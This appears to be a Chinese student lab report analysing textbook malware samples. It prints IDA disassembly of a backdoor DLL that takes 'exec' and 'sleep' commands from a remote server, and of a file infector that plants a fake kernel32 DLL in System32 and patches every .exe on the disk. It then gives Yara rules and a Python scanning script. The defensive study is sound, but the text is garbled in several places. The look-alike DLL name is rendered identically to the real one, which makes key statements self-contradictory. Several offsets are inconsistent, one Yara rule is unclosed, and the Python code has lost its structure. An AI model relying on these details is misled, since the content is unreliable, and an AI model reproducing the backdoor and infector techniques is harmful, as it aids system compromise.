调用 recv 函数，接收一个数据并存入 buf 中。该函数的返回值是接收的字节数，如果没有接受到数据（eax=0）或者报错时（eax<0）时，JLE 就会跳转到

send 开始的地方重复执行，否则将调用 strcmp。接收缓冲区在 0x1000 开始，大小是 5 个字节，告诉我们这个要被执行的命令是我们接收缓冲区中保存的任意 5 字节的東西。第一个访问 buf 的指令是 lea 指令，将获得一个指向那个位置的指针。对 recv 的调用将连入的网络流量保存到栈上。

```
.text:10001010 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001010 _DllMain@12 proc near ; CODE XREF: DllEntryPoint+4B1p
.text:10001010 hObject = dword ptr -11F0h
.text:10001010 name = sockaddr ptr -11F4h
.text:10001010 ProcessInformation= _PROCESS_INFORMATION ptr -11E4h
.text:10001010 StartupInfo = _STARTUPINFOA ptr -11D4h
.text:10001010 WSAData = WSAData ptr -1190h
.text:10001010 buf = byte ptr -1000h
.text:10001010 var_FFF = byte ptr -0FFh
.text:10001010 CommandLine = byte ptr -0FFBh
.text:10001010 hinstDLL = dword ptr 4
.text:10001010 fdwReason = dword ptr 8
.text:10001010 lpvReserved = dword ptr 0Ch
```

strcmp 函数将检查前 count 个字符是不是字符串 sleep，此处 count=5 是字符串 sleep 的长度。在调用这个函数后，它立刻检查返回值是不是 0，如果是，它调用 Sleep 函数来睡眠 60 秒。如果远程服务器发送 sleep 命令，这个程序将调用 Sleep 函数。

```
.text:10001161 loc_10001161: ; CODE XREF: DllMain(x,x,x)+1427j
.text:10001161 lea edx, [esp+1200h+buf]
.text:10001168 push 4 ; MaxCount
.text:1000116A push edx ; Str2
.text:1000116B push offset aExec ; "exec"
.text:10001170 call ebp ; strcmp
.text:10001172 add esp, 0Ch
.text:10001175 test eax, eax
.text:10001177 jnz short loc_100011B6
.text:10001179 mov ecx, 11h
.text:1000117E lea edi, [esp+1200h+StartupInfo]
.text:10001182 rep stosd
.text:10001184 lea eax, [esp+1200h+ProcessInformation]
.text:10001188 lea ecx, [esp+1200h+StartupInfo]
.text:1000118C push eax ; lpProcessInformation
.text:1000118D push ecx ; lpStartupInfo
.text:1000118E push 0 ; lpCurrentDirectory
.text:10001190 push 0 ; lpEnvironment
.text:10001192 push 0 ; dwCreationFlags
.text:10001197 push 1 ; bInheritHandles
.text:10001199 push 0 ; lpThreadAttributes
.text:1000119B lea edx, [esp+1224h+CommandLine]
.text:100011A2 push 0 ; lpProcessAttributes
.text:100011A4 push edx ; lpCommandLine
.text:100011A5 push 0 ; lpApplicationName
.text:100011A7 mov [esp+1230h+StartupInfo.cb], 44h
.text:100011AF call ebx ; CreateProcessA
.text:100011B1 jmp loc_100010E9
```

如果返回值不是 0，检查这个缓冲区是否是以 exec 开始的。如果是，strcmp 函数将返回 0，并且这段代码将顺序执行到 jnz 指令，并调用 CreateProcessA 函数。

CreateProcessA 函数有很多参数，其中 CommandLine 参数告诉我们要被创建的进程。CommandLine 对应应在 0x10001010 处的值 0x0FFB。

```
.text:10001010 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001010 _DllMain@12 proc near ; CODE XREF: DllEntryPoint+4B1p
.text:10001010 hObject = dword ptr -11F0h
.text:10001010 name = sockaddr ptr -11F4h
.text:10001010 ProcessInformation= _PROCESS_INFORMATION ptr -11E4h
.text:10001010 StartupInfo = _STARTUPINFOA ptr -11D4h
.text:10001010 WSAData = WSAData ptr -1190h
.text:10001010 buf = byte ptr -1000h
.text:10001010 var_FFF = byte ptr -0FFh
.text:10001010 CommandLine = byte ptr -0FFBh
.text:10001010 hinstDLL = dword ptr 4
.text:10001010 fdwReason = dword ptr 8
.text:10001010 lpvReserved = dword ptr 0Ch
```

如果不是 exec 的话，会将 Str2（即 buf）的大小与 71h 进行比较，判断缓冲区是否大于该值，如果相等则跳转 loc_100011DB，结束程序；否则，会调用 sleep 休眠大约 6 分钟，再跳转到 send 处循环执行。


```

.text:100011B6 loc_100011B6:                ; CODE XREF: DllMain(x,x,x)+167fj
.text:100011B6                cmp     [esp+1200h+buf], 7fh
.text:100011B6                jz      short loc_100011D0
.text:100011C0                push    000000h                ; dwMilliseconds
.text:100011C5                call    ds:Sleep
.text:100011C8                jmp     loc_100010E9
.text:100011D0 ; -----
.text:100011D0 loc_100011D0:                ; CODE XREF: DllMain(x,x,x)+1AEfj
.text:100011D0                mov     eax, [esp+1200h+hObject]
.text:100011D4                push    eax                    ; hObject
.text:100011D5                call    ds:CloseHandle
.text:100011D8                ; CODE XREF: DllMain(x,x,x)+C7fj
.text:100011D8                ; DllMain(x,x,x)+FAfj ...
.text:100011D8                push    esi                    ; 5
.text:100011D8                call    ds:closesocket
.text:100011E2                ; CODE XREF: DllMain(x,x,x)+80fj
.text:100011E2 loc_100011E2:                call    ds:WSACleanup
.text:100011E8                ; CODE XREF: DllMain(x,x,x)+18fj
.text:100011E8 loc_100011E8:                ; DllMain(x,x,x)+51fj ...
.text:100011E8                pop     edi
.text:100011E8                pop     esi
.text:100011EA                pop     ebp
.text:100011EB                mov     eax, 1
.text:100011F0                pop     ebx
.text:100011F1                add     esp, 11F0h
.text:100011F7                retn    0Ch
.text:100011F7 _DllMain@12                endp

```

只查看 call 指令，

```

10001015 call    __alloca_probe
10001059 call    ds:OpenMutexA
1000106E call    ds:CreateMutexA
1000107E call    ds:WSAStartup
10001092 call    ds:socket
100010AF call    ds:inet_addr
100010B8 call    ds:htons
100010CE call    ds:connect
10001101 call    ds:send
10001113 call    ds:shutdown
10001132 call    ds:recv
1000114B call    ebp ; strncmp
10001159 call    ds:Sleep
10001170 call    ebp ; strncmp
100011AF call    ebx ; CreateProcessA
100011C5 call    ds:Sleep

```

接收缓冲区在 0x10000 开始，并且这个值是用 lea 指令来设置的，这告诉我们这个数据本身是保存在栈上的，并且不仅仅是一个指向数据的指针。同样，0x0FFB 是我们的接收缓冲区 5 个字节的事实告诉我们这个要被执行的命令是我们接收缓冲区中保存的任意 5 字节的东西。在这个案例中，这意味着从远程服务器接收到的数据将会是 exec FullPathOfProgramToRun。当这个恶意代码从远程服务器接收到这个 exec FullPathOfProgramToRun 命令行字符串时，它会用 FullPathOfProgramToRun 来调用 CreateProcessA。

查看 Lab07-01.exe 的 main


```

.text:00401440 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401440 _main      proc near      ; CODE XREF: start+0E1p
.text:00401440
.text:00401440 var_4h      = dword ptr -4h
.text:00401440 var_40      = dword ptr -40h
.text:00401440 var_3C      = dword ptr -3Ch
.text:00401440 var_38      = dword ptr -38h
.text:00401440 var_34      = dword ptr -34h
.text:00401440 var_30      = dword ptr -30h
.text:00401440 var_2C      = dword ptr -2Ch
.text:00401440 var_28      = dword ptr -28h
.text:00401440 var_24      = dword ptr -24h
.text:00401440 var_20      = dword ptr -20h
.text:00401440 var_1C      = dword ptr -1Ch
.text:00401440 var_18      = dword ptr -18h
.text:00401440 var_14      = dword ptr -14h
.text:00401440 var_10      = dword ptr -10h
.text:00401440 var_C       = dword ptr -0Ch
.text:00401440 hobject     = dword ptr -8
.text:00401440 var_4       = dword ptr -4
.text:00401440 argc       = dword ptr 4
.text:00401440 argv       = dword ptr 8
.text:00401440 envp       = dword ptr 0Ch
.text:00401440
.text:00401440      mov     eax, [esp+argc]
.text:00401444      sub     esp, 44h
.text:00401447      cmp     eax, 2
.text:0040144A      push    ebx
.text:0040144B      push    ebp
.text:0040144C      push    esi
.text:0040144D      push    edi
.text:0040144E      jnz     loc_401813
.text:00401454      mov     eax, [esp+54h+argv]
.text:00401458      mov     esi, offset aWarning_this_w ; "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
.text:0040145D      mov     eax, [eax+4]
.text:00401460
.text:00401460 loc_401460:      ; CODE XREF: _main+421j
.text:00401460      mov     dl, [eax]
.text:00401462      mov     bl, [esi]
.text:00401464      mov     cl, dl
.text:00401466      cmp     dl, bl
.text:00401468      jnz     short loc_401488
.text:0040146A      test    cl, cl
.text:0040146C      jz      short loc_401484
.text:0040146E      mov     dl, [eax+1]
.text:00401471      mov     bl, [esi+1]
.text:00401474      mov     cl, dl
.text:00401476      cmp     dl, bl
.text:00401478      jnz     short loc_401488
.text:0040147A      add     eax, 2
.text:0040147D      add     esi, 2
.text:00401480      test    cl, cl
.text:00401482      jnz     short loc_401460
.text:00401484
.text:00401484 loc_401484:      ; CODE XREF: _main+2C1j
.text:00401484      xor     eax, eax
.text:00401486      jmp     short loc_40148D

```

第一个比较检查参数个数是否是 2。如果参数个数不是 2，代码在 0x0040144E 处跳转到 loc_401813，使程序提前退出。（这是当我们试图执行动态分析时发生的事情，即程序会快速终止）

eax 指向了 argv 的开始地址，第三行这里又将 eax 这个指针向后移动了 4 个 bit，即一个字节，eax 指向 argv[1]，也就是跳过了函数名，指向了具体的传入的参数。由于在之前将[esp+54h+argv]放入到了 eax 中，这里再加 4 之后取内容其实也就是取 argv[1]到 eax 中，将 WARNING_THIS_WILL_DESTROY_YOUR_MACHINE 字符串移动到 ESI 寄存器。

在 loc_401460 之间的循环，会比较保存在 ESI 和 EAX 中的值。如果它们不一样，这个程序跳转 loc_401488，并从这个函数返回，而不做任何其他事情。否则，会再比较该字符是否为 0，如果是的话，将跳出循环。

查看 loc_4017D4

```

.text:004017B9 loc_4017B9:                                ; CODE XREF: _main+218fj
.text:004017B9                                         ; _main+22Efj
.text:004017B9      mov     ebp, [esp+54h+var_38]
.text:004017BD      inc     edx
.text:004017BE      add     ebp, 4
.text:004017C1      mov     [esp+54h+var_28], edx
.text:004017C5      mov     [esp+54h+var_38], ebp
.text:004017C9      mov     ebp, [eax+14h]
.text:004017CC      cmp     edx, ebp
.text:004017CE      jb      loc_401653
.text:004017D4      loc_4017D4:                                ; CODE XREF: _main+200fj
.text:004017D4      mov     ecx, [esp+54h+hObject]
.text:004017D8      mov     esi, ds:CloseHandle
.text:004017DE      push    ecx                                ; hObject
.text:004017DF      call    esi                                ; CloseHandle
.text:004017E1      mov     edx, [esp+54h+var_4]
.text:004017E5      push    edx                                ; hObject
.text:004017E6      call    esi                                ; CloseHandle
.text:004017E8      push    0                                ; bFailIfExists
.text:004017EA      offset NewFileName ; "C:\\windows\\system32\\kernel32.dll"
.text:004017EF      push    offset ExistingFileName ; "Lab07-03.dll"
.text:004017F4      call    ds:CopyFileA
.text:004017FA      test    eax, eax
.text:004017FC      push    0                                ; int
.text:004017FE      jnz     short loc_401806
.text:00401800      call    ds:exit

```

它在两个打开的文件上调用 CloseHandle, 然后调用 CopyFile, 这个函数复制 Lab07-03.dll 并把它放在 C:\Windows\System32\kernel32.dll, 这很明显的意图是看起来像 kernel32.dll。猜测 kernel32.dll 会在与 kernel32.dll 相同的位置上运行。

```

.text:00401806 loc_401806:                                ; CODE XREF: _main+3BEfj
.text:00401806      push    offset aC                          ; "C:\\*"
.text:00401808      call    sub_4011E0
.text:00401810      add     esp, 8
.text:00401813      loc_401813:                                ; CODE XREF: _main+Efj
.text:00401813                                         ; _main+4Ffj
.text:00401813      pop     edi
.text:00401814      pop     esi
.text:00401815      pop     ebp
.text:00401816      xor     eax, eax
.text:00401818      pop     ebx
.text:00401819      add     esp, 44h
.text:0040181C      retn
.text:0040181C _main      endp

```

查看 sub_4011E0

```

.text:004011E0 ; int __cdecl sub_4011E0(LPCSTR lpFileName, int)
.text:004011E0 sub_4011E0      proc near                                ; CODE XREF: sub_4011E0+16Fjp
.text:004011E0                                         ; _main+3C8jp
.text:004011E0      hFindFile      = dword ptr -144h
.text:004011E0 FindFileData = _WIN32_FIND_DATA ptr -140h
.text:004011E0 lpFileName  = dword ptr 4
.text:004011E0 arg_4       = dword ptr 8
.text:004011E0
.text:004011E0      mov     eax, [esp+arg_4]
.text:004011E4      sub     esp, 144h
.text:004011E8      cmp     eax, 7
.text:004011ED      push    ebx
.text:004011EE      push    ebp
.text:004011EF      push    esi
.text:004011F0      push    edi
.text:004011F1      jg      loc_401434
.text:004011F7      mov     ebp, [esp+154h+lpFileName]
.text:004011FE      lea     eax, [esp+154h+FindFileData]
.text:00401202      push    eax                                ; lpFindFileData
.text:00401203      push    ebp                                ; lpFileName
.text:00401204      call    ds:FindFirstFileA
.text:00401208      mov     esi, eax
.text:0040120C      mov     [esp+154h+hFindFile], esi

```

这个函数的第一个参数被标记为 lpFilename, 被用来作为传递给接受一个文件名作为参数的 Windows API 函数。这个函数做的一件首要的事情是在 C:* 上调用 FindFirstFile, 来搜索 C:\\驱动器。

```

.text:004013F6      call    ds:_stricmp
.text:004013FC      add     esp, 0Ch
.text:004013FF      test    eax, eax
.text:00401401      jnz     short loc_40140C
.text:00401403      push    ebp                                ; lpFileName
.text:00401404      call    sub_4010A0
.text:00401409      add     esp, 4

```

这个字符串比较用一个字符串和 .exe 检查，然后调用在 sub_4010A0 函数，来查看它们是否匹配。

```
.text:0040140C loc_40140C: ; CODE XREF: sub_4011E0+221fj
.text:0040140C mov ebp, [esp+154h+lpFileName]
.text:00401413 loc_401413: ; CODE XREF: sub_4011E0+177fj
.text:00401413 mov esi, [esp+154h+hFindFile]
.text:00401417 lea eax, [esp+154h+FindFileData]
.text:0040141B push eax ; lpFindFileData
.text:0040141C push esi ; hFindFile
.text:0040141D call ds:FindNextFileA
.text:00401423 test eax, eax
.text:00401425 jz short loc_401434
.text:00401427 jmp loc_401210
.text:0040142C ; -----
.text:0040142C loc_40142C: ; CODE XREF: sub_4011E0+33fj
.text:0040142C push 0FFFFFFFh ; hFindFile
.text:0040142E call ds:FindClose
.text:00401434 loc_401434: ; CODE XREF: sub_4011E0+11fj
.text:00401434 ; sub_4011E0+245fj
.text:00401434 pop edi
.text:00401435 pop esi
.text:00401436 pop ebp
.text:00401437 pop ebx
.text:00401438 add esp, 144h
.text:0040143E sub_4011E0 endp
```

有一个对 FindNextFileA 函数的调用，然后一个 jump 调用，暗示这个功能在一个循环中被执行。在这个函数的末尾，FindClose 被调用，然后这个函数以一些异常处理代码终止。

查看函数 sub_4010A0 的函数调用

```
Found relevant instruction at 0x4010BB: call ds:CreateFileA
Found relevant instruction at 0x4010D0: call ds:CreateFileMappingA
Found relevant instruction at 0x4010E6: call ds:MapViewOfFile
Found relevant instruction at 0x401088: call ebx ; IsBadReadPtr
Found relevant instruction at 0x401128: call sub_401040
Found relevant instruction at 0x401135: call ebx ; IsBadReadPtr
Found relevant instruction at 0x401157: call sub_401040
Found relevant instruction at 0x401164: call ds:IsBadReadPtr
Found relevant instruction at 0x401174: call ds:_stricmp
Found relevant instruction at 0x4011B8: call ds:UnmapViewOfFile
Found relevant instruction at 0x4011CC: call esi ; CloseHandle
Found relevant instruction at 0x4011D3: call esi ; CloseHandle
```

首先调用 CreateFile、CreateFileMapping, 以及 MapViewOfFile 来映射整个文件到内存中，整个文件被映射到内存空间，并且这个程序可以读写这个文件，而不需要任何附加的函数调用。

```
.text:00401152 loc_401152: ; CODE XREF: sub_4010A0+AB7j
.text:00401152 mov edx, [edi]
.text:00401154 push esi
.text:00401155 push ebp
.text:00401156 push edx
.text:00401157 call sub_401040
.text:0040115C add esp, 0Ch
.text:0040115F mov ebx, eax
.text:00401161 push 14h ; ucb
.text:00401163 push ebx ; lp
.text:00401164 call ds:IsBadReadPtr
.text:0040116A test eax, eax
.text:0040116C jnz short loc_4011D5
.text:0040116E push offset Str2 ; "kernel32.dll"
.text:00401173 push ebx ; Str1
.text:00401174 call ds:_stricmp
.text:0040117A add esp, 8
.text:0040117D test eax, eax
.text:0040117F jnz short loc_4011A7
.text:00401181 mov edi, ebx
.text:00401183 or ecx, 0FFFFFFFh
.text:00401186 repne scasd
.text:00401188 not ecx
.text:0040118A mov eax, ecx
.text:0040118C mov esi, offset dword_403010
.text:00401191 mov edi, ebx
.text:00401193 shr ecx, 2
.text:00401196 rep movsd
.text:00401198 mov ecx, eax
.text:0040119A and ecx, 3
.text:0040119D rep movsb
.text:0040119F mov esi, [esp+1Ch+var_C]
.text:004011A3 mov edi, [esp+1Ch+lpFileName]
```

检查一个字符串值是不是 kernel32.dll。这个程序调用 repne scasb 和 rep movsd, 这在功能上和 strlen 以及 memcpy 函数是等价的。EDI 寄存器被 rep movsd 指令使用, 被来自 0x00401191 处 EBX 的值加载, ebx 被 0x00401173 处传给 strcmp 的值加载。如果这个函数找到字符串 kernel32.dll, 这段代码用某些东西替换它。转到 rep movsd 指令, 并查看到源头在偏移 dword_403010。

```
.data:00403010 dword_403010 dd 6E726568h ; DATA XREF: sub_4010A0+EC70
.data:00403010 ; _main+1A87r
.data:00403014 dword_403014 dd 32333165h ; DATA XREF: _main+1B97r
.data:00403018 dword_403018 dd 6C6C642Eh ; DATA XREF: _main+1C27r
.data:0040301C dword_40301C dd 0 ; DATA XREF: _main+1CB7r
```

将光标放在 dword_403010 的同一行, 并按 A 键, 它会将这个数据转换为字符串 kernel32.dll。

这个可执行文件遍历整个文件系统来查找以 .exe 结尾的文件, 在 .exe 文件中找到字符串 kernel32.dll 的位置, 并使用 kernel32.dll 替换它。Lab07-03.dll 被复制到 C:\Windows\System32 目录中并被命名为 kernel32.dll。这个恶意代码修改可执行文件让它们访问 kernel32.dll, 而不是 kernel32.dll。这意味着 kernel32.dll 会替代 kernel32.dll 被修改过的可执行文件所加载。

1. 这个程序如何完成持久化驻留, 来确保在计算机被重启后它能继续运行?

这个程序通过写一个 DLL 到 C:\Windows\System32, 并修改系统上每一个导入它的 .exe 文件, 来达到持久化驻留。

2. 这个恶意代码的两个明显的基于主机特征是什么?

这个程序通过硬编码来使用文件名 kernel32.dll, 这是一个很好的检测特征(注意数字 1 的使用而不是字母 l)。这个程序使用一个硬编码命名为 SADFHUHF 的互斥量。

3. 这个程序的目的是什么?

这个程序的目的是创建一个很难删除的后门, 来连接到一个远程主机。这个后门有两个命令: 一个用来执行命令, 一个用来睡眠。

4. 一旦这个恶意代码被安装, 你如何移除它?

这个程序很难被删除, 是因为它感染系统上的每一个 .exe 文件。可能在这个例子中, 最好方法是从一个备份恢复系统。

如果从备份恢复比较困难，可以留下这个恶意的 kernel32.dll 文件并修改它，来删除恶意的内容。还可以复制 kernel32.dll，并将它命名为 kernel32.dll，或者写一个程序来取消所有对 PE 文件的修改。

(四) Yara

Yara:

rule RuleforLab07_01
{
meta:
description = " Lab07_01.exe"
strings:
\$s1 = "http://www.malwareanalysisbook.com" fullword ascii
\$s2 = "MalService" fullword ascii
\$s3 = "Internet Explorer 8.0" fullword ascii
\$s4 = "HGL345" fullword ascii
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c))==0x00004550 and filesize < 70KB and
all of them
}
rule RuleforLab07_02
{
meta:
description = "Lab07-02.exe"
strings:
\$s1 = "http://www.malwareanalysisbook.com/ad.html" fullword wide
condition:
uint16(0) == 0x5a4d and

uint32(uint32(0x3c))==0x00004550 and filesize < 50KB and
1 of them
}
rule RuleforLab07_03dll
{
meta:
description = "Lab07-03.dll"
strings:
\$s1 = "SADFHUHF" fullword ascii
\$s2 = "127.26.152.13" fullword ascii
\$s3 = "141G1[111" fullword ascii
\$s4 = "1Y2a2g2r2" fullword ascii
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c))==0x00004550 and filesize < 500KB and
all of them
rule RuleforLab07_03exe
{
meta:
description = "Lab07-03.exe"
strings:
\$x1 = "C:\\windows\\system32\\kernel32.dll" fullword ascii
\$x2 = "C:\\Windows\\System32\\Kernel32.dll" fullword ascii
\$s3 = "kernel32.dll" fullword ascii
\$s4 = "Lab07-03.dll" fullword ascii
\$s5 = "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" fullword ascii
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c))==0x00004550 and filesize < 50KB and

1 of (\$x*) and all of them
}

Python:

-*- coding: utf-8 -*-
import os
import yara
import time
定义回调函数以获取匹配的文件名
def my_callback(data, file_path):
print("匹配的文件: ", data['rule'], "文件路径: ", file_path)
定义 YARA 规则
rules = yara.compile("Lab07.yara")
扫描的样本文件夹路径
sample_folder = "sample"
初始化变量
matched_files = 0
start_time = time.time()
matched_file_paths = set() # 用集合来跟踪已匹配的文件路径
遍历样本文件夹中的文件
for root, dirs, files in os.walk(sample_folder):
for file_name in files:
file_path = os.path.join(root, file_name)
try:
如果文件路径已经匹配过, 跳过

if file_path in matched_file_paths:
continue
使用 YARA 规则扫描文件
matches = rules.match(file_path)
如果有匹配的规则，记录匹配的文件数量
if matches:
matched_files += 1
matched_file_paths.add(file_path)
except Exception as e:
pass
计算扫描时间
end_time = time.time()
scan_time = end_time - start_time
输出结果
print("样本文件夹中的文件数量: {}".format(len(files)))
print("匹配的文件数量: {}".format(matched_files))
print("扫描时间: {:.2f} 秒".format(scan_time))
输出匹配的文件路径
print("匹配的文件路径: ")
for file_path in matched_file_paths:
print(file_path)

```

C:\Documents and Settings\lulu\桌面\scan>python Lab.py
样本文件夹中的文件数量: 2501
匹配的文件数量: 4
扫描时间: 18.89 秒
匹配的文件路径:
sample\Lab07-02.exe
sample\Lab07-03.dll
sample\Lab07_01.exe
sample\Lab07-03.exe

```

（五） IDA Python

```
Lab07-ida py.py - C:\Documents and Settings\lulu\桌面\scan\Lab07-ida .
File Edit Format Run Options Windows Help
import idutils
import idc
for seg in idutils.Segments():
    print idc.SegName(seg),hex(idc.SegStart(seg)),hex(idc.SegEnd(seg))
```

打印所有段名称、段起始地址、段结束地址。

```
.text 0x10001000 0x10002000
.idata 0x10002000 0x1000205c
.rdata 0x1000205c 0x10026000
.data 0x10026000 0x10027000
```

四、 实验结论及心得体会

（一） 实验结论

Lab07-01: 这个程序创建服务 MalService, 来保证每次在系统启动后运行。使用用户代理 Internet Explorer 8.0, 并和 www.malwareanalysisbook.com 通信。等待直到 2100 年 1 月 1 日的 0:00, 发送许多请求到 <http://www.malwareanalysisbook.com/>, 大概是为了对这个网站进行一次分布式拒绝服务 (DDoS) 攻击。这个程序永远不会完成。它在一个定时器上等待直到 2100 年, 到时候创建 20 个线程, 每一个运行一个无限循环。

Lab07-02:

这个程序没有完成持久化驻留, 它运行一次然后退出。给用户显示一个广告网页后完成执行。

Lab07-03: 通过写一个 DLL 到 C:\Windows\System32, 并修改系统上每一个导入它的 .exe 文件, 来达到持久化驻留。通过硬编码来使用文件名 `kernel32.dll`, 使用一个硬编码命名为 `SADFHUHF` 的互斥量。这个程序的目的是创建一个很难删除的后门, 来连接到一个远程主机。这个后门有两个命令: 一个用来执行命令, 一个用来睡眠。但这个程序很难被删除, 因为它感染系统上的每一个 .exe 文件。

（二） 心得体会

静态动态分析的重要性: 实验中使用 IDAPro 等工具进行静态和动态分析是深入了解恶意代码的关键。通过反汇编和代码分析, 可以揭示恶意代码的内部结构、功能和行为。

恶意代码多样性：实验中的不同样本展示了恶意代码的多样性。它们采用不同的策略和行为，包括检查网络连接、下载网页、修改文件系统和注册表等。了解这些多样性有助于更好地理解恶意代码的复杂性。

Yara 规则的应用：编写 Yara 规则是一种强大的手段，用于检测恶意代码的存在。通过识别特定的特征字符串和行为模式，可以有效地检测和分类恶意代码样本。